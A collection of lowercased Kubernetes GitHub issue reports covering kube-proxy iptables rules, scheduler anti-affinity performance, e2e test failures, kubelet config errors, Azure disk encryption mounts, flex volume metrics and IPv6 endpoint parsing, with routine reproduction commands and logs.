 what you expected to happen  :\r \r since  kube-proxy  re-create all masquerading rules, we also expect that these postrouting rules are also re-created after an iptables flush  i.e. from firewalld . \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. setup k8s\r 2. check iptables:  $ iptables -t nat -l postrouting \r 3. flush iptables:  $ iptables -t nat -f \r 4. wait for  kube-proxy  to re-create iptables and check again.\r \r after restarting  flanneld  the postrouting rules are re-created again.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:27:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration: bare metal, x86_64\r - os  e.g. from /etc/os-release :  ubuntu 16.04.2 lts \r - kernel  e.g.  uname -a  :  4.4.0-101-generic

if the gc gets stuck, controller manager needs to be restarted.\r \r the gc should never get stuck, of course.\r \r but right now, if it did, i think we'd have no way to know?

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r we recently added  62211 that improves performance of inter-pod affinity/anti-affinity predicate significantly. this improvement applies when a pod with inter-pod affinity/anti-affinity rules is being scheduled. inter-pod anti-affinity is symmetric meaning that it applies both at the time of scheduling a pod with such rules as well as at the time of scheduling any other pod in a cluster that is running one or more pods with inter-pod anti-affinity rules. the aforementioned pr optimizes the first part of the anti-affinity check, not the second part. however,   the scheduler code already has a performance optimization  https://github.com/kubernetes/kubernetes/blob/44dd0c243145ae3d7f3724839955bedbbb8dddde/pkg/scheduler/algorithm/predicates/metadata.go l116  for the second part as well. this optimization finds the terms of all the running pods with inter-pod anti-affinity rules that match the pod being scheduled and stores only those matching terms in  predicate metadata . the scheduler then evaluates only those terms when checking feasibility of each node in the cluster. we may be able to perform more pre-processing of the existing anti-affinity rules to improve performance further. for example, finding the nodes that the anti-affinity rules apply to them and storing those nodes in  metadata  may help reduce our search space when checking feasibility of the nodes. we can then skip checking anti-affinity rules of existing pods for nodes that do not exist in the stored  metadata . this is just one of the possible ideas. one may be able to find more or better ways to improve performance of checking anti-affinity rules.\r \r  /assign @mohamed-mehany

most gce resources that k8s creates have a prefix of $clustername, which allows people to get a basic understanding of why a resource exists and what it's used for.  target pools and forwarding rules do not, which is an ongoing tax with running jenkins tests along with a poor ux.  we should rename them to match convention.  and we should be backwards-compatible so that existing clusters can be upgraded.

spinoff from https://github.com/kubernetes/kubernetes/issues/10268

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-pre-release/946/  run so broken it didn't make junit output!

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2320/ failed:  k8s.io  downward api volume should update labels on modification  conformance   volume  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/downwardapi_volume.go:125 timed out after 120.000s. expected     <string>: content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\       to contain substring     <string>: key3=\ value3\       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/downwardapi_volume.go:124

gce & gke currently rely on the cluster bringup defined in the  cluster/gce  directory, but there isn't a good way of deploying gce specific manifests. currently the 2 approaches are, put it in  /cluster/addons , which implies it should be generally useful  not gce specific , or it is synthesized by one of the bash scripts in  cluster/gce .

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r \r   \r \r \r   what happened  :\r i ran conformance test and met this errors\r    \r apr 27 09:09:03.860: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/services/proxy-service-fhcsw:portname1/proxy/: no body  0; 2m7.233974867s \r apr 27 09:09:03.860: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/pods/https:proxy-service-fhcsw-2r6n7:443/proxy/: no body  0; 2m7.233860081s \r apr 27 09:09:03.860: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/services/https:proxy-service-fhcsw:tlsportname1/proxy/: no body  0; 2m7.233967092s \r apr 27 09:09:03.861: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/services/proxy-service-fhcsw:portname2/proxy/: no body  0; 2m7.234419357s \r apr 27 09:09:03.861: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/services/http:proxy-service-fhcsw:portname2/proxy/: no body  0; 2m7.235265035s \r apr 27 09:09:03.862: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/pods/proxy-service-fhcsw-2r6n7:160/proxy/: no body  0; 2m7.235494891s \r apr 27 09:22:24.882: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/pods/http:proxy-service-fhcsw-2r6n7:1080/proxy/: no body  0; 15m28.255517909s \r apr 27 09:22:24.882: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/pods/proxy-service-fhcsw-2r6n7:1080/proxy/: no body  0; 15m28.25574652s \r apr 27 09:24:32.114: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/pods/https:proxy-service-fhcsw-2r6n7:462/proxy/: no body  0; 2m7.231804874s \r apr 27 09:24:32.114: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/pods/http:proxy-service-fhcsw-2r6n7:162/proxy/: no body  0; 2m7.231847779s \r apr 27 09:24:32.115: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/services/https:proxy-service-fhcsw:tlsportname1/proxy/: no body  0; 2m7.23207861s \r apr 27 09:24:32.115: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/pods/proxy-service-fhcsw-2r6n7:160/proxy/: no body  0; 2m7.232021841s \r apr 27 09:24:32.115: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/pods/https:proxy-service-fhcsw-2r6n7:460/proxy/: no body  0; 2m7.232297685s \r apr 27 09:24:32.115: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/services/proxy-service-fhcsw:portname1/proxy/: no body  0; 2m7.232693694s \r apr 27 09:24:32.116: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/pods/proxy-service-fhcsw-2r6n7/proxy/: no body  0; 2m7.233197644s \r apr 27 09:24:32.116: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/pods/http:proxy-service-fhcsw-2r6n7:160/proxy/: no body  0; 2m7.233367416s \r apr 27 09:24:32.116: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/services/https:proxy-service-fhcsw:tlsportname2/proxy/: no body  0; 2m7.233681949s \r apr 27 09:24:32.116: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/services/http:proxy-service-fhcsw:portname2/proxy/: no body  0; 2m7.233646689s \r apr 27 09:24:32.116: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/pods/https:proxy-service-fhcsw-2r6n7:443/proxy/: no body  0; 2m7.233621855s \r apr 27 09:24:32.116: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/pods/proxy-service-fhcsw-2r6n7:162/proxy/: no body  0; 2m7.233724321s \r apr 27 09:24:32.116: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/services/http:proxy-service-fhcsw:portname1/proxy/: no body  0; 2m7.23389167s \r apr 27 09:24:32.117: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/services/proxy-service-fhcsw:portname2/proxy/: no body  0; 2m7.23405498s \r apr 27 09:37:53.138: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/pods/proxy-service-fhcsw-2r6n7:1080/proxy/: no body  0; 15m28.255196545s \r apr 27 09:37:54.162: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/pods/http:proxy-service-fhcsw-2r6n7:1080/proxy/: no body  0; 15m29.279287905s \r apr 27 09:40:01.394: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/pods/http:proxy-service-fhcsw-2r6n7:160/proxy/: no body  0; 2m7.231607496s \r apr 27 09:40:01.394: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/pods/proxy-service-fhcsw-2r6n7:160/proxy/: no body  0; 2m7.231825739s \r apr 27 09:40:01.394: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/pods/proxy-service-fhcsw-2r6n7/proxy/: no body  0; 2m7.231724105s \r apr 27 09:40:01.394: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/pods/https:proxy-service-fhcsw-2r6n7:462/proxy/: no body  0; 2m7.232033721s \r apr 27 09:40:01.394: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/services/https:proxy-service-fhcsw:tlsportname1/proxy/: no body  0; 2m7.232207919s \r apr 27 09:40:01.394: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/pods/https:proxy-service-fhcsw-2r6n7:460/proxy/: no body  0; 2m7.231916942s \r apr 27 09:40:01.394: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/services/http:proxy-service-fhcsw:portname2/proxy/: no body  0; 2m7.232209529s \r apr 27 09:40:01.394: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/pods/http:proxy-service-fhcsw-2r6n7:162/proxy/: no body  0; 2m7.232261969s \r apr 27 09:40:01.394: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/services/proxy-service-fhcsw:portname2/proxy/: no body  0; 2m7.232229247s \r apr 27 09:40:01.395: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/services/proxy-service-fhcsw:portname1/proxy/: no body  0; 2m7.23229507s \r apr 27 09:40:01.395: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/services/http:proxy-service-fhcsw:portname1/proxy/: no body  0; 2m7.232345629s \r apr 27 09:40:01.395: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/pods/proxy-service-fhcsw-2r6n7:162/proxy/: no body  0; 2m7.23247098s \r apr 27 09:40:01.395: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/pods/https:proxy-service-fhcsw-2r6n7:443/proxy/: no body  0; 2m7.232906608s \r apr 27 09:40:01.395: info: /api/v1/namespaces/e2e-tests-proxy-q2txd/services/https:proxy-service-fhcsw:tlsportname2/proxy/: no body  0; 2m7.232891592s \r    \r \r which i found it is because, our master can not access pods running on nodes. in other word master, we do not run cni and kube-proxy on master. \r \r \r \r   what you expected to happen  :\r even kube-apiserver can not access pods running on nodes by ip, it should fail with a definitely timeout error.  \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. set up a cluster, and do not start kube-proxy and cni plugins on master.\r \r 1. create a service\r \r 1. access service by apiserver proxy.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r while following instructions for config file located here - https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/\r \r received error\r error loading config file \ /etc/kubernetes/kubelet.conf\ : no kind \ kubeletconfiguration\  is registered for version \ kubelet.config.k8s.io/v1beta1\ \r \r kubelet service file\r \r    \r   cat /etc/systemd/system/kubelet.service.d/10-kubeadm.conf \r  service \r environment=\ kubelet_kubeconfig_args=--kubeconfig=/etc/kubernetes/kubelet.conf\ \r environment=\ kubelet_network_args=--network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin\ \r environment=\ kubelet_certificate_args=--rotate-certificates=true --cert-dir=/var/lib/kubelet/pki\ \r execstart=\r execstart=/usr/bin/kubelet $kubelet_kubeconfig_args $kubelet_network_args $kubelet_certificate_args\r    \r \r kubelet config file from document\r \r    \r   cat kubelet.conf \r kind: kubeletconfiguration\r apiversion: kubelet.config.k8s.io/v1beta1\r evictionhard:\r     memory.available:  \ 200mi\ \r    \r \r systemctl daemon-reload\r systemctl start kubelet\r \r    \r   systemctl status kubelet\r ● kubelet.service - kubelet: the kubernetes node agent\r    loaded: loaded  /etc/systemd/system/kubelet.service; enabled; vendor preset: disabled \r   drop-in: /etc/systemd/system/kubelet.service.d\r            └─10-kubeadm.conf\r    active: activating  auto-restart   result: exit-code  since mon 2018-06-25 20:50:17 edt; 2s ago\r      docs: http://kubernetes.io/docs/\r   process: 12826 execstart=/usr/bin/kubelet $kubelet_kubeconfig_args $kubelet_network_args $kubelet_certificate_args $kubelet_log_args  code=exited, status=255 \r  main pid: 12826  code=exited, status=255 \r \r jun 25 20:50:17 systemd 1 : unit kubelet.service entered failed state.\r jun 25 20:50:17 systemd 1 : kubelet.service failed.\r    \r \r journalctl -xeu kubelet\r \r    \r   journalctl -xeu kubelet\r jun 25 20:50:17 systemd 1 : starting kubelet: the kubernetes node agent...\r -- subject: unit kubelet.service has begun start-up\r -- defined-by: systemd\r -- support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel\r -- \r -- unit kubelet.service has begun starting up.\r jun 25 20:50:17 kubelet 12826 : i0625 20:50:17.239349   12826 feature_gate.go:226  feature gates: &{{} map  }\r jun 25 20:50:17 kubelet 12826 : w0625 20:50:17.247369   12826 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 25 20:50:17 kubelet 12826 : i0625 20:50:17.254185   12826 server.go:376  version: v1.10.5\r jun 25 20:50:17 kubelet 12826 : i0625 20:50:17.254265   12826 feature_gate.go:226  feature gates: &{{} map  }\r jun 25 20:50:17 kubelet 12826 : i0625 20:50:17.254442   12826 plugins.go:89  no cloud provider specified.\r jun 25 20:50:17 kubelet 12826 : f0625 20:50:17.254971   12826 server.go:233  failed to run kubelet: invalid kubeconfig: error loading config file \ /etc/kubernetes/kubelet.conf\ : no kind \ kubeletconfiguration\  is registered for version \ kubelet.config.k8s.io/v1beta1\ \r jun 25 20:50:17 systemd 1 : kubelet.service: main process exited, code=exited, status=255/n/a\r jun 25 20:50:17 systemd 1 : unit kubelet.service entered failed state.\r jun 25 20:50:17 systemd 1 : kubelet.service failed.\r    \r \r \r \r   what you expected to happen  :\r expected kubelet to run\r \r   how to reproduce it  as minimally and precisely as possible   :\r install:\r   yum install kubelet kubeadm kubectl\r \r create service:\r   systemctl enable kubelet\r \r modify service file:\r    /etc/systemd/system/kubelet.service.d/10-kubeadm.conf to point to /etc/kubernetes/kubelet.conf\r \r start service with config file:\r   systemctl daemon-reload\r   systemctl start kubelet\r \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.5\r - cloud provider or hardware configuration: none\r - os  e.g. from /etc/os-release : \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r - kernel  e.g.  uname -a  :\r 3.10.0-862.3.2.el7.x86_64  1 smp mon may 21 23:36:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools: yum\r - others:\r

 \r   what happened  :\r kubernetes failed to mount directory in azure disk as a pv when azure disk encryption is enabled in node host.\r \r   what you expected to happen  :\r successfully to mount the disk.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i confirmed the issue in aks  kubernetes 1.9.9  and openshift enterprise 3.9 on azure. here is how to reproduce with aks.\r \r create a single node aks.\r    \r az group create -n aks-ade -l westeurope\r az aks create -g aks-ade -n aks-ade-cluster  --node-count  1\r    \r \r then enable ade for created vm by aks. \r    \r azgroup=<resource_group_of_created_vm>\r az ad app create --display-name aks-ade-vault-app --identifier-uris https://aks-ade-vault-app --password password\r az ad sp create --id <app_id>\r az keyvault create -n aks-ade-vault -g $azgroup --enabled-for-disk-encryption true\r az keyvault set-policy --name aks-ade-vault --spn <app_id> --key-permissions wrapkey  --secret-permissions set\r az keyvault key create --vault-name aks-ade-vault --name aks-ade-node1-key --protection software\r az vm encryption enable -g $azgroup -n <created_vm_name> --aad-client-id <app_id> --aad-client-secret password --disk-encryption-keyvault aks-ade-vault  --key-encryption-key aks-ade-node1-key  --volume-type data\r    \r \r aks creates the default storage class automatically.\r    \r $ kubectl get sc default -o yaml\r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r   annotations:\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ storage.k8s.io/v1beta1\ ,\ kind\ :\ storageclass\ ,\ metadata\ :{\ annotations\ :{\ storageclass.beta.kubernetes.io/is-default-class\ :\ true\ },\ labels\ :{\ kubernetes.io/cluster-service\ :\ true\ },\ name\ :\ default\ ,\ namespace\ :\ \ },\ parameters\ :{\ kind\ :\ managed\ ,\ storageaccounttype\ :\ standard_lrs\ },\ provisioner\ :\ kubernetes.io/azure-disk\ }\r     storageclass.beta.kubernetes.io/is-default-class: \ true\ \r   creationtimestamp: 2018-07-20t06:36:42z\r   labels:\r     kubernetes.io/cluster-service: \ true\ \r   name: default\r   resourceversion: \ 290\ \r   selflink: /apis/storage.k8s.io/v1/storageclasses/default\r   uid: ...\r parameters:\r   kind: managed\r   storageaccounttype: standard_lrs\r provisioner: kubernetes.io/azure-disk\r reclaimpolicy: delete\r    \r \r then create a pvc and pod.\r    \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: azure-managed-disk\r   annotations:\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 1gi\r    \r \r    \r kind: pod\r apiversion: v1\r metadata:\r   name: mypod\r spec:\r   containers:\r     - name: myfrontend\r       image: nginx\r       volumemounts:\r       - mountpath: \ /data1\ \r         name: volume\r   volumes:\r     - name: volume\r       persistentvolumeclaim:\r         claimname: azure-managed-disk\r    \r \r then i could see the failed event.\r    \r $ kubectl get event\r last seen   first seen   count     name                     kind      subobject   type      reason        source                              message\r 16m         3h           86        mypod.15430209f8eb86ef   pod                   warning   failedmount   kubelet, aks-nodepool1-nnnnnnn-0   unable to mount volumes for pod \ mypod_default uuid \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ mypod\ . list of unattached/unmounted volumes= volume \r 1m          3h           116       mypod.1543021e8b8c38f3   pod                   warning   failedmount   kubelet, aks-nodepool1-nnnnnnn-0    combined from similar events : mountvolume.mountdevice failed for volume \ pvc- uuid \  : azuredisk - mountdevice:formatandmount failed with mount failed: exit status 32\r mounting command: systemd-run\r mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/m3045819910 --scope -- mount -o defaults /dev/disk/by-id/scsi- uuid  /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/m3045819910\r output: running scope as unit run-r42ea8854f2e04ee7a534ff50f3f858dc.scope.\r mount: /dev/sdc is already mounted or /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/m3045819910 busy\r    \r \r   anything else we need to know?  :\r i confirmed the issue only on aks and openshift, but i wonder this could happen on kubernetes on azure with azure cloud provder enabled.\r i checked the closed issue  57070 . i'm wondering the issue is caused because kubernetes doesn't consider  /dev/sdc  has been already mounted as  a bek volume by ade  https://docs.microsoft.com/en-us/azure/security/azure-security-disk-encryption-faq what-is-the-disk-bek-volume-or-mntazurebekdisk .\r \r kubenertes excludes disks used by azure as resource and os root in /dev/disk/azure. however, bek volume doesn't show up under  /dev/disk/azure. i expect this is the reason.\r \r https://github.com/kubernetes/kubernetes/blob/v1.9.9/pkg/volume/azure_dd/azure_common_linux.go l31-l47\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.9\ , gitcommit:\ 57729ea3d9a1b75f3fc7bbbadc597ba707d47c8a\ , gittreestate:\ clean\ , builddate:\ 2018-06-29t01:07:01z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r azure  aks \r \r - os  e.g. from /etc/os-release :\r    \r $ cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r \r - kernel  e.g.  uname -a  :\r    \r $ uname -a\r linux cc-5e6a90d6-1543821320-96hfn 4.4.0-130-generic  156-ubuntu smp thu jun 14 08:53:28 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r \r - install tools:\r no\r \r - others:\r

kind feature\r \r   what happened  :\r currently there is no mechanism to report metrics as the flex plugins are not enabled to collect metrics. all flex volumes lack this feature as compared to in-tree/built-in drivers even though it is possible to collect such metrics for most of the plugins.\r \r   what you expected to happen  :\r depending on the availability of the metrics from the mounted fs, flex plugins should allow to report metrics for the fs.\r \r   how to reproduce it  as minimally and precisely as possible   :\r the default behavior that can be proved easily by just running a command similar to the following command on a node that is running a flex volume. this will show that there are no metrics collected for flex volumes.\r kubectl proxy  \r $curl 127.0.0.1:8001/api/v1/nodes/<ip>/proxy/stats/summary  \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.12\r - cloud provider or hardware configuration: local x86\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : linux kubestorage 4.4.0-130-generic  156-ubuntu smp thu jun 14 08:53:28 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: \r - others:\r 

currently creating and updating images is done by googlers.  we need a way for contributors outside google to at least provide images that are copied into the node e2e project  tbd .  this might mean direct access to updating an image project, or something else.

this ticket is created based on the discussion of  39596, please see the comments there.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?   \r not\r \r \r   what keywords did you search in kubernetes issues before filing this one?   \r config map not showing during exec\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report \r \r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t19:15:41z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :\r aws, using latest stable  kops   version 1.5.3  with no modification. \r \r -   os    e.g. from /etc/os-release :\r    \r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r -   kernel    e.g.  uname -a  :\r    \r linux ip-10-4-33-33 4.4.41-k8s  1 smp mon jan 9 15:34:39 utc 2017 x86_64 gnu/linux\r    \r \r   what happened  :\r mounted  config maps  are not visible when  docker exec -it  into a container and navigating to the directory\r \r   what you expected to happen  :\r i am able to see the files mounted via  config map \r \r   how to reproduce it    as minimally and precisely as possible :\r create a  deployment  and a  config map  with files. mount the  config map  as a volume in the  deployment \r \r   anything else we need to know  :\r    \r root@ip-10-4-33-33:/home/admin  docker inspect 45abded5c1f7\r ...\r             {\r                 \ source\ : \ /var/lib/kubelet/pods/d723fe86-15a1-11e7-a4ca-029f962170f3/volumes/kubernetes.io~configmap/ingress-proxy-sites-enabled-config\ ,\r                 \ destination\ : \ /etc/nginx/sites-enabled\ ,\r                 \ mode\ : \ \ ,\r                 \ rw\ : true,\r                 \ propagation\ : \ rprivate\ \r             },\r    \r files exist on host\r    \r root@ip-10-4-33-33:/home/admin  ls /var/lib/kubelet/pods/d723fe86-15a1-11e7-a4ca-029f962170f3/volumes/kubernetes.io~configmap/ingress-proxy-sites-enabled-config\r api.conf  apisock.conf    drake.conf  egret.conf    eru.conf  optimus.conf    registry.conf  status.conf  user-pixel.conf\r    \r folder missing when running exec\r    \r root@ip-10-4-33-33:/home/admin  docker exec -it 45abded5c1f7 bash -c \ ls /etc/nginx/sites-enabled\ \r ls: cannot access /etc/nginx/sites-enabled: no such file or director\r    \r but i know nginx is picking up those files since it is working correctly\r

\r i0830 18:41:03.170  creating new network: e2e-2549\r w0830 18:41:45.592  error:  gcloud.compute.networks.create  could not fetch resource:\r w0830 18:41:45.592   - quota 'subnetworks' exceeded.  limit: 160.0\r w0830 18:41:45.593  \r w0830 18:41:45.675  2017/08/30 18:41:45 util.go:134: step './hack/e2e-internal/e2e-up.sh' finished in 1m26.446604891s\r    \r \r ---\r  @kubernetes/sig-network-bugs @kubernetes/sig-testing-bugs @krzyzacy @mrhohn \r related issues:\r https://github.com/kubernetes/kubernetes/issues/51136

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r  /area ipv6\r \r   what happened  :\r the calculation of endpointip in the iptables proxier's deleteendpointconnections   method does not handle endpoints of the form  ipv6-address :port. the current logic strips off anything after the first colon it finds:\r    \r endpointip := epsvcpair.endpoint 0:strings.index epsvcpair.endpoint, \ :\   \r    \r so this won't work for ipv6. this can be seen on code inspection. it can also cause problems when running e2e networking tests that include udp connections, whereby the kube-proxy will crash on a conntrack command, and restart.\r  \r   what you expected to happen  :\r the code needs to derive ipv6 addresses from ipv6 endpoints of the form \  ipv6 :port\ , as well as deriving ipv4 addresses from ipv4 endpoints of the form \ ipv4:port\ .\r \r   how to reproduce it  as minimally and precisely as possible   :\r code inspection, or run e2e udp networking tests on an ipv6-only cluster  and watch for kube-proxy restarts .\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest master\r - cloud provider or hardware configuration  : virtualbox cluster, ubuntu 16.04.1 host, centos 7 guests\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

client-gen  does not generate the content of  typed/<group>/<version>/<group>_client.go  /  typed/<group>/<version>/generated_expansion.go  when there is no new line between the  // +genclient  tag and the next struct.\r \r   how to reproduce:  \r \r  works \r \r    go\r // +genclient\r // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.object\r \r type foo struct {\r    \r \r  fails \r \r    go\r // +genclient\r // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.object\r type foo struct {\r    \r \r   see also:  \r \r https://kubernetes.slack.com/archives/c0eg7jc6t/p1507887214000200\r \r  

what happened  :\r \r when cleanup the existing equivalence class code. i noticed there may be duplication in handlers of pod, pv, pvc change.\r \r for now we will invalidate volume related predicates for all nodes on pv  and  pvc add. \r \r can we assume that volumes will only be attached to node during pod add? so we can just deal with those predicates on pod add/delete. don't need to bother pv/pvc at all.\r \r @misterikkit @msau42 any comments?\r \r   anything else we need to know?  :\r \r part of  58222\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

